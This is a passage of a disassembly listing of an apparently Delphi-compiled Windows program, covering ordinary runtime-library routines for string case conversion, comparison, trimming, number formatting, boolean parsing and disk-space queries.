		mov	[ebx], dx
		pop	ebx
		pop	ebp
		retn	4
sub_4000797C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007998	proc near		; CODE XREF: sub_4000828C+4Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_400073E4
		call	sub_4000B128
		call	sub_400042E4
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40007998	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400079BC	proc near		; CODE XREF: sub_4001145C+87p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	eax, edx
		test	esi, esi
		jz	loc_40007A4C
		mov	edx, [esi-4]
		mov	edi, eax
		test	edx, edx
		jle	short loc_40007A4C
		mov	ecx, [eax]
		mov	ebx, edx
		test	ecx, ecx
		jz	short loc_400079FF
		test	edx, 3
		jnz	short loc_400079EE
		xor	edx, [ecx-4]
		cmp	edx, 3
		jbe	short loc_400079F9
		jmp	short loc_400079FF
; ---------------------------------------------------------------------------


loc_400079EE:				; CODE XREF: sub_400079BC+26j
		or	edx, 2
		xor	edx, [ecx-4]
		cmp	edx, 1
		ja	short loc_400079FF


loc_400079F9:				; CODE XREF: sub_400079BC+2Ej
		cmp	dword ptr [ecx-8], 1
		jz	short loc_40007A09


loc_400079FF:				; CODE XREF: sub_400079BC+1Ej
					; sub_400079BC+30j ...
		mov	edx, ebx
		or	edx, 3
		call	sub_40004F74


loc_40007A09:				; CODE XREF: sub_400079BC+41j
		mov	edi, [edi]
		mov	[edi-4], ebx
		mov	byte ptr [edi+ebx], 0
		add	ebx, 0FFFFFFFFh
		and	ebx, 0FFFFFFFCh
		mov	eax, [esi+ebx]


loc_40007A1B:				; CODE XREF: sub_400079BC+8Aj
		mov	ecx, eax
		or	eax, 80808080h
		mov	edx, eax
		sub	eax, 7B7B7B7Bh
		xor	edx, ecx
		or	eax, 80808080h
		sub	eax, 66666666h
		and	eax, edx
		shr	eax, 2
		xor	eax, ecx
		mov	[edi+ebx], eax
		mov	eax, [esi+ebx-4]
		sub	ebx, 4
		jge	short loc_40007A1B
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40007A4C:				; CODE XREF: sub_400079BC+9j
					; sub_400079BC+16j
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40004884
sub_400079BC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007A58	proc near		; CODE XREF: sub_4001145C+66p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	eax, edx
		test	esi, esi
		jz	loc_40007AE8
		mov	edx, [esi-4]
		mov	edi, eax
		test	edx, edx
		jle	short loc_40007AE8
		mov	ecx, [eax]
		mov	ebx, edx
		test	ecx, ecx
		jz	short loc_40007A9B
		test	edx, 3
		jnz	short loc_40007A8A
		xor	edx, [ecx-4]
		cmp	edx, 3
		jbe	short loc_40007A95
		jmp	short loc_40007A9B
; ---------------------------------------------------------------------------


loc_40007A8A:				; CODE XREF: sub_40007A58+26j
		or	edx, 2
		xor	edx, [ecx-4]
		cmp	edx, 1
		ja	short loc_40007A9B


loc_40007A95:				; CODE XREF: sub_40007A58+2Ej
		cmp	dword ptr [ecx-8], 1
		jz	short loc_40007AA5


loc_40007A9B:				; CODE XREF: sub_40007A58+1Ej
					; sub_40007A58+30j ...
		mov	edx, ebx
		or	edx, 3
		call	sub_40004F74


loc_40007AA5:				; CODE XREF: sub_40007A58+41j
		mov	edi, [edi]
		mov	[edi-4], ebx
		mov	byte ptr [edi+ebx], 0
		add	ebx, 0FFFFFFFFh
		and	ebx, 0FFFFFFFCh
		mov	eax, [esi+ebx]


loc_40007AB7:				; CODE XREF: sub_40007A58+8Aj
		mov	ecx, eax
		or	eax, 80808080h
		mov	edx, eax
		sub	eax, 5B5B5B5Bh
		xor	edx, ecx
		or	eax, 80808080h
		sub	eax, 66666666h
		and	eax, edx
		shr	eax, 2
		xor	eax, ecx
		mov	[edi+ebx], eax
		mov	eax, [esi+ebx-4]
		sub	ebx, 4
		jge	short loc_40007AB7
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40007AE8:				; CODE XREF: sub_40007A58+9j
					; sub_40007A58+16j
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40004884
sub_40007A58	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007AF4	proc near		; CODE XREF: sub_40007B90+14p
		test	eax, eax
		jnz	short loc_40007B02
		test	edx, edx
		jz	short locret_40007B01
		mov	eax, [edx-4]
		neg	eax

locret_40007B01:			; CODE XREF: sub_40007AF4+6j
		retn
; ---------------------------------------------------------------------------


loc_40007B02:				; CODE XREF: sub_40007AF4+2j
		test	edx, edx
		jnz	short loc_40007B0A
		mov	eax, [eax-4]
		retn
; ---------------------------------------------------------------------------


loc_40007B0A:				; CODE XREF: sub_40007AF4+10j
		push	ebx
		push	ebp
		push	esi
		mov	ebp, [eax-4]
		mov	ebx, [edx-4]
		sub	ebp, ebx
		sbb	ecx, ecx
		and	ecx, ebp
		add	ecx, ebx
		lea	esi, [ecx+eax]
		add	edx, ecx
		neg	ecx
		jz	short loc_40007B87


loc_40007B24:				; CODE XREF: sub_40007AF4+91j
		movzx	eax, word ptr [ecx+esi]
		movzx	ebx, word ptr [ecx+edx]
		cmp	eax, ebx
		jz	short loc_40007B82
		cmp	al, bl
		jz	short loc_40007B60
		mov	ah, 0
		mov	bh, 0
		cmp	al, 61h
		jl	short loc_40007B43
		cmp	al, 7Ah
		jg	short loc_40007B43
		sub	eax, 20h


loc_40007B43:				; CODE XREF: sub_40007AF4+46j
					; sub_40007AF4+4Aj
		cmp	bl, 61h
		jl	short loc_40007B50
		cmp	bl, 7Ah
		jg	short loc_40007B50
		sub	ebx, 20h


loc_40007B50:				; CODE XREF: sub_40007AF4+52j
					; sub_40007AF4+57j
		sub	eax, ebx
		jnz	short loc_40007B89
		movzx	eax, word ptr [ecx+esi]
		movzx	ebx, word ptr [ecx+edx]
		cmp	ah, bh
		jz	short loc_40007B82


loc_40007B60:				; CODE XREF: sub_40007AF4+3Ej
		shr	eax, 8
		shr	ebx, 8
		cmp	al, 61h
		jl	short loc_40007B71
		cmp	al, 7Ah
		jg	short loc_40007B71
		sub	eax, 20h


loc_40007B71:				; CODE XREF: sub_40007AF4+74j
					; sub_40007AF4+78j
		cmp	bl, 61h
		jl	short loc_40007B7E
		cmp	bl, 7Ah
		jg	short loc_40007B7E
		sub	ebx, 20h


loc_40007B7E:				; CODE XREF: sub_40007AF4+80j
					; sub_40007AF4+85j
		sub	eax, ebx
		jnz	short loc_40007B89


loc_40007B82:				; CODE XREF: sub_40007AF4+3Aj
					; sub_40007AF4+6Aj
		add	ecx, 2
		jl	short loc_40007B24


loc_40007B87:				; CODE XREF: sub_40007AF4+2Ej
		mov	eax, ebp


loc_40007B89:				; CODE XREF: sub_40007AF4+5Ej
					; sub_40007AF4+8Cj
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40007AF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40007B90	proc near		; CODE XREF: sub_40013618+1Bp
					; sub_40013CE4+64p
		cmp	eax, edx
		jz	short loc_40007BAD
		or	eax, eax
		jz	short locret_40007BAF
		or	edx, edx
		jz	short loc_40007BB0
		mov	ecx, [eax-4]
		cmp	ecx, [edx-4]
		jnz	short loc_40007BB0
		call	sub_40007AF4
		test	eax, eax
		jnz	short loc_40007BB0


loc_40007BAD:				; CODE XREF: sub_40007B90+2j
		mov	al, 1

locret_40007BAF:			; CODE XREF: sub_40007B90+6j
		retn
; ---------------------------------------------------------------------------


loc_40007BB0:				; CODE XREF: sub_40007B90+Aj
					; sub_40007B90+12j ...
		xor	eax, eax
		retn
sub_40007B90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007BB4	proc near		; CODE XREF: sub_4000A1CC+2B6p
					; sub_4000A1CC+2E0p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	ebx, edi
		test	ebx, ebx
		jz	short loc_40007BC7
		sub	ebx, 4
		mov	ebx, [ebx]


loc_40007BC7:				; CODE XREF: sub_40007BB4+Cj
		mov	esi, ebp
		test	esi, esi
		jz	short loc_40007BD2
		sub	esi, 4
		mov	esi, [esi]


loc_40007BD2:				; CODE XREF: sub_40007BB4+17j
		push	esi
		mov	eax, ebp
		call	sub_40004D48
		push	eax
		push	ebx
		mov	eax, edi
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40007BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007BF8	proc near		; CODE XREF: sub_4000A1CC+80p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, edi
		test	eax, eax
		jz	short loc_40007C0B
		sub	eax, 4
		mov	eax, [eax]


loc_40007C0B:				; CODE XREF: sub_40007BF8+Cj
		mov	esi, eax
		mov	ebx, 1
		jmp	short loc_40007C15
; ---------------------------------------------------------------------------


loc_40007C14:				; CODE XREF: sub_40007BF8+26j
		inc	ebx


loc_40007C15:				; CODE XREF: sub_40007BF8+1Aj
		cmp	esi, ebx
		jl	short loc_40007C20
		cmp	byte ptr [edi+ebx-1], 20h
		jbe	short loc_40007C14


loc_40007C20:				; CODE XREF: sub_40007BF8+1Fj
		cmp	esi, ebx
		jge	short loc_40007C2E
		mov	eax, ebp
		call	sub_40004884
		jmp	short loc_40007C44
; ---------------------------------------------------------------------------


loc_40007C2D:				; CODE XREF: sub_40007BF8+3Bj
		dec	esi


loc_40007C2E:				; CODE XREF: sub_40007BF8+2Aj
		cmp	byte ptr [edi+esi-1], 20h
		jbe	short loc_40007C2D
		push	ebp
		mov	ecx, esi
		sub	ecx, ebx
		inc	ecx
		mov	edx, ebx
		mov	eax, edi
		call	sub_40004DA8


loc_40007C44:				; CODE XREF: sub_40007BF8+33j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40007BF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007C4C	proc near		; CODE XREF: sub_40007C98+Bp
					; sub_40007DAC+13p ...
		or	cl, cl
		jnz	short loc_40007C67
		or	eax, eax
		jns	short sub_40007C62
		neg	eax
		call	sub_40007C62
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
sub_40007C4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007C62	proc near		; CODE XREF: sub_40007C4C+6j
					; sub_40007C4C+Ap
		mov	ecx, 0Ah


loc_40007C67:				; CODE XREF: sub_40007C4C+2j
		push	edx
		push	esi


loc_40007C69:				; CODE XREF: sub_40007C62+1Bj
		xor	edx, edx
		div	ecx
		dec	esi
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_40007C79
		add	dl, 7


loc_40007C79:				; CODE XREF: sub_40007C62+12j
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_40007C69
		pop	ecx
		pop	edx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_40007C97
		add	ecx, edx
		mov	al, 30h
		sub	esi, edx
		jmp	short loc_40007C92
; ---------------------------------------------------------------------------


loc_40007C8F:				; CODE XREF: sub_40007C62+31j
		mov	[edx+esi], al


loc_40007C92:				; CODE XREF: sub_40007C62+2Bj
		dec	edx
		jnz	short loc_40007C8F
		mov	[esi], al

locret_40007C97:			; CODE XREF: sub_40007C62+23j
		retn
sub_40007C62	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007C98	proc near		; CODE XREF: sub_400116DC+C9p
					; sub_400116DC+E3p ...
		push	esi
		mov	esi, esp
		sub	esp, 10h
		xor	ecx, ecx
		push	edx
		xor	edx, edx
		call	sub_40007C4C
		mov	edx, esi
		pop	eax
		call	sub_40004974
		add	esp, 10h
		pop	esi
		retn
sub_40007C98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007CB8	proc near		; CODE XREF: sub_40007D84+11p
					; sub_4000843E+94j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		or	cl, cl
		jnz	short sub_40007CEC
		mov	ecx, 0Ah
		test	dword ptr [eax+4], 80000000h
		jz	short sub_40007CEC
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	eax, esp
		neg	[esp+8+var_8]
		adc	[esp+8+var_4], 0
		neg	[esp+8+var_4]
		call	sub_40007CEC
		mov	byte ptr [esi-1], 2Dh
		dec	esi
		inc	ecx
		add	esp, 8
		retn
sub_40007CB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007CEC	proc near		; CODE XREF: sub_40007CB8+2j
					; sub_40007CB8+10j ...

var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= word ptr -6

		push	esi
		sub	esp, 4
		fnstcw	[esp+8+var_6]
		fnstcw	[esp+8+var_8]
		or	[esp+8+var_8], 0F00h
		fldcw	[esp+8+var_8]
		mov	[esp+8+var_8], cx
		fld1
		test	dword ptr [eax+4], 80000000h
		jz	short loc_40007D36
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		and	[esp+10h+var_C], 7FFFFFFFh
		push	7FFFFFFFh
		push	0FFFFFFFFh
		fild	qword ptr [esp+8]
		fild	[esp+18h+var_18]
		fadd	st, st(2)
		faddp	st(1), st
		add	esp, 10h
		jmp	short loc_40007D38
; ---------------------------------------------------------------------------


loc_40007D36:				; CODE XREF: sub_40007CEC+21j
		fild	qword ptr [eax]


loc_40007D38:				; CODE XREF: sub_40007CEC+48j
		fild	[esp+8+var_8]
		fld	st(1)


loc_40007D3D:				; CODE XREF: sub_40007CEC+6Ej
		dec	esi
		fprem
		fistp	[esp+8+var_8]
		fdiv	st(1), st
		mov	al, byte ptr [esp+8+var_8]
		add	al, 30h
		cmp	al, 3Ah
		jb	short loc_40007D50
		add	al, 7


loc_40007D50:				; CODE XREF: sub_40007CEC+60j
		mov	[esi], al
		fld	st(1)
		fcom	st(3)
		fstsw	ax
		sahf
		jnb	short loc_40007D3D
		fldcw	[esp+8+var_6]
		add	esp, 4
		ffree	st(3)
		ffree	st(2)
		ffree	st(1)
		ffree	st
		pop	ecx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_40007D82
		sub	esi, edx
		mov	al, 30h
		add	ecx, edx
		jmp	short loc_40007D7D
; ---------------------------------------------------------------------------


loc_40007D7A:				; CODE XREF: sub_40007CEC+92j
		mov	[edx+esi], al


loc_40007D7D:				; CODE XREF: sub_40007CEC+8Cj
		dec	edx
		jnz	short loc_40007D7A
		mov	[esi], al

locret_40007D82:			; CODE XREF: sub_40007CEC+84j
		retn
sub_40007CEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40007D84	proc near		; CODE XREF: sub_400116DC+20Ep
					; sub_400116DC+22Bp ...

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, esp
		sub	esp, 20h
		xor	ecx, ecx
		push	eax
		xor	edx, edx
		lea	eax, [ebp+arg_0]
		call	sub_40007CB8
		mov	edx, esi
		pop	eax
		call	sub_40004974
		add	esp, 20h
		pop	esi
		pop	ebp
		retn	8
sub_40007D84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007DAC	proc near		; CODE XREF: sub_4001293C+CDp
		cmp	edx, 20h
		jbe	short loc_40007DB3
		xor	edx, edx


loc_40007DB3:				; CODE XREF: sub_40007DAC+3j
		push	esi
		mov	esi, esp
		sub	esp, 20h
		push	ecx
		mov	ecx, 10h
		call	sub_40007C4C
		mov	edx, esi
		pop	eax
		call	sub_40004974
		add	esp, 20h
		pop	esi
		retn
sub_40007DAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007DD4	proc near		; CODE XREF: sub_4000AA7C+3Ep
					; sub_4000AAF4+34p ...

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_4000379C
		cmp	[esp+8+var_8], 0
		jz	short loc_40007DE7
		mov	eax, ebx


loc_40007DE7:				; CODE XREF: sub_40007DD4+Fj
		pop	edx
		pop	ebx
		retn
sub_40007DD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007DEC	proc near		; CODE XREF: sub_4000CE4C+35p
					; sub_4000EBF8+61p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000379C
		mov	[esi], eax
		cmp	[esp+0Ch+var_C], 0
		setz	al
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40007DEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007E0C	proc near		; CODE XREF: sub_4000F6A8+3Ap

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_40005754
		mov	[esi], eax
		mov	[esi+4], edx
		cmp	[esp+0Ch+var_C], 0
		setz	al
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40007E0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007E2C	proc near		; CODE XREF: sub_40007F40:loc_40007F6Fp
					; sub_40007FDC+Ap
		mov	eax, ds:dword_4001E910
		call	sub_4000596C
		test	eax, eax
		jnz	short loc_40007E63
		push	1
		mov	eax, offset dword_4001E910
		mov	ecx, 1
		mov	edx, ds:off_400077D8
		call	sub_40005B28
		add	esp, 4
		mov	eax, ds:dword_4001E910
		mov	edx, offset aTrue ; "True"
		call	sub_400048D8


loc_40007E63:				; CODE XREF: sub_40007E2C+Cj
		mov	eax, ds:dword_4001E914
		call	sub_4000596C
		test	eax, eax
		jnz	short locret_40007E9A
		push	1
		mov	eax, offset dword_4001E914
		mov	ecx, 1
		mov	edx, ds:off_400077FC
		call	sub_40005B28
		add	esp, 4
		mov	eax, ds:dword_4001E914
		mov	edx, offset aFalse ; "False"
		call	sub_400048D8

locret_40007E9A:			; CODE XREF: sub_40007E2C+43j
		retn
sub_40007E2C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 4
aTrue		db 'True',0             ; DATA XREF: sub_40007E2C+2Do
		align 4
		dd 0FFFFFFFFh, 5
aFalse		db 'False',0            ; DATA XREF: sub_40007E2C+64o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40007EBC	proc near		; CODE XREF: sub_40007F40+46p
					; sub_40007F40+69p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		test	edx, edx
		jl	short loc_40007F33
		inc	edx
		mov	[ebp+var_C], edx
		mov	ebx, eax


loc_40007ED3:				; CODE XREF: sub_40007EBC+75j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		mov	esi, [ebp+var_10]
		test	esi, esi
		jz	short loc_40007EED
		sub	esi, 4
		mov	esi, [esi]


loc_40007EED:				; CODE XREF: sub_40007EBC+2Aj
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	short loc_40007EF9
		sub	edi, 4
		mov	edi, [edi]


loc_40007EF9:				; CODE XREF: sub_40007EBC+36j
		push	edi
		mov	eax, [ebp+var_14]
		call	sub_40004D48
		push	eax
		push	esi
		mov	eax, [ebp+var_10]
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		test	eax, eax
		setz	al
		test	al, al
		jz	short loc_40007F2B
		mov	[ebp+var_1], 1
		jmp	short loc_40007F33
; ---------------------------------------------------------------------------


loc_40007F2B:				; CODE XREF: sub_40007EBC+67j
		add	ebx, 4
		dec	[ebp+var_C]
		jnz	short loc_40007ED3


loc_40007F33:				; CODE XREF: sub_40007EBC+Fj
					; sub_40007EBC+6Dj
		movzx	eax, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40007EBC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40007F40	proc near		; CODE XREF: sub_4000D068+3Bp
					; sub_4000FCA4+6Cp

var_10		= tbyte	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_40008E74
		mov	edx, eax
		test	dl, dl
		jz	short loc_40007F6F
		fld	[ebp+var_10]
		fcomp	ds:flt_40007FC0
		fstsw	ax
		sahf
		setnz	byte ptr [ebx]
		jmp	short loc_40007FB8
; ---------------------------------------------------------------------------


loc_40007F6F:				; CODE XREF: sub_40007F40+1Bj
		call	sub_40007E2C
		push	ebp
		mov	eax, ds:dword_4001E910
		call	sub_40005974
		mov	edx, eax
		mov	eax, ds:dword_4001E910
		call	sub_40007EBC
		pop	ecx
		mov	edx, eax
		test	dl, dl
		jz	short loc_40007F97
		mov	byte ptr [ebx],	1
		jmp	short loc_40007FB8
; ---------------------------------------------------------------------------


loc_40007F97:				; CODE XREF: sub_40007F40+50j
		push	ebp
		mov	eax, ds:dword_4001E914
		call	sub_40005974
		mov	edx, eax
		mov	eax, ds:dword_4001E914
		call	sub_40007EBC
		pop	ecx
		mov	edx, eax
		test	dl, dl
		jz	short loc_40007FB8
		mov	byte ptr [ebx],	0


loc_40007FB8:				; CODE XREF: sub_40007F40+2Dj
					; sub_40007F40+55j ...
		mov	eax, edx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40007F40	endp

; ---------------------------------------------------------------------------
		align 10h
flt_40007FC0	dd 0.0			; DATA XREF: sub_40007F40+20r
		dd 0FFFFFFFFh, 1
dword_40007FCC	dd 30h,	0FFFFFFFFh, 2, 312Dh					; .data:4001A858o

; =============== S U B	R O U T	I N E =======================================



sub_40007FDC	proc near		; CODE XREF: sub_4000D1CC+3Cp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		test	dl, dl
		jz	short loc_40008012
		call	sub_40007E2C
		test	bl, bl
		jz	short loc_40008000
		mov	eax, esi
		mov	edx, ds:dword_4001E910
		mov	edx, [edx]
		call	sub_400048D8
		jmp	short loc_40008023
; ---------------------------------------------------------------------------


loc_40008000:				; CODE XREF: sub_40007FDC+11j
		mov	eax, esi
		mov	edx, ds:dword_4001E914
		mov	edx, [edx]
		call	sub_400048D8
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40008012:				; CODE XREF: sub_40007FDC+8j
		mov	eax, esi
		movzx	edx, bl
		mov	edx, off_4001A854[edx*4]
		call	sub_400048D8


loc_40008023:				; CODE XREF: sub_40007FDC+22j
		pop	esi
		pop	ebx
		retn
sub_40007FDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008028	proc near		; CODE XREF: sub_40015E94+11p
					; sub_40015E94+2Ep
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, esi
		test	eax, eax
		jz	short loc_40008037
		sub	eax, 4
		mov	eax, [eax]


loc_40008037:				; CODE XREF: sub_40008028+8j
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40008054
		jmp	short loc_40008040
; ---------------------------------------------------------------------------


loc_4000803F:				; CODE XREF: sub_40008028+23j
		dec	ebx


loc_40008040:				; CODE XREF: sub_40008028+15j
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000B914
		cmp	al, 2
		jz	short loc_4000803F
		lea	eax, [esi+ebx-1]
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40008054:				; CODE XREF: sub_40008028+13j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_40008028	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000805C	proc near		; CODE XREF: sub_400080B0+Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000806F
		sub	eax, 4
		mov	eax, [eax]


loc_4000806F:				; CODE XREF: sub_4000805C+Cj
		mov	edi, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	ebp, eax
		test	edi, edi
		jle	short loc_400080A7


loc_4000807E:				; CODE XREF: sub_4000805C+49j
		movzx	ebx, byte ptr [esi+edi-1]
		test	bl, bl
		jz	short loc_400080A2
		mov	edx, ebx
		mov	eax, ebp
		call	sub_40008224
		test	eax, eax
		jz	short loc_400080A2
		mov	edx, edi
		mov	eax, esi
		call	sub_4000B914
		cmp	al, 2
		jnz	short loc_400080A7
		dec	edi


loc_400080A2:				; CODE XREF: sub_4000805C+29j
					; sub_4000805C+36j
		dec	edi
		test	edi, edi
		jg	short loc_4000807E


loc_400080A7:				; CODE XREF: sub_4000805C+20j
					; sub_4000805C+43j
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000805C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400080B0	proc near		; CODE XREF: sub_4000B488+CCp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_400080E4
		call	sub_4000805C
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_40004DA8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400080B0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_400080E4	dd 3A5Ch	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400080E8	proc near		; DATA XREF: sub_4000C4D8+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_400080F8
		xor	eax, eax


loc_400080F8:				; CODE XREF: sub_400080E8+Cj
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	sub_40006570	; GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_4000569C
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_4000569C
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_400080E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000815C	proc near		; CODE XREF: sub_4000868C+16p
					; sub_4000ADE0+BDp ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_4000815C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008174	proc near		; CODE XREF: sub_4000828C+2Bp
		push	esi
		mov	esi, eax
		xchg	eax, edx
		call	sub_40002DFC
		mov	eax, esi
		pop	esi
		retn
sub_40008174	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008184	proc near		; CODE XREF: sub_400081B8+1Fp
					; sub_4000ADE0+91p
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_40008198
		repne scasb
		jnz	short loc_40008198
		inc	ecx


loc_40008198:				; CODE XREF: sub_40008184+Dj
					; sub_40008184+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
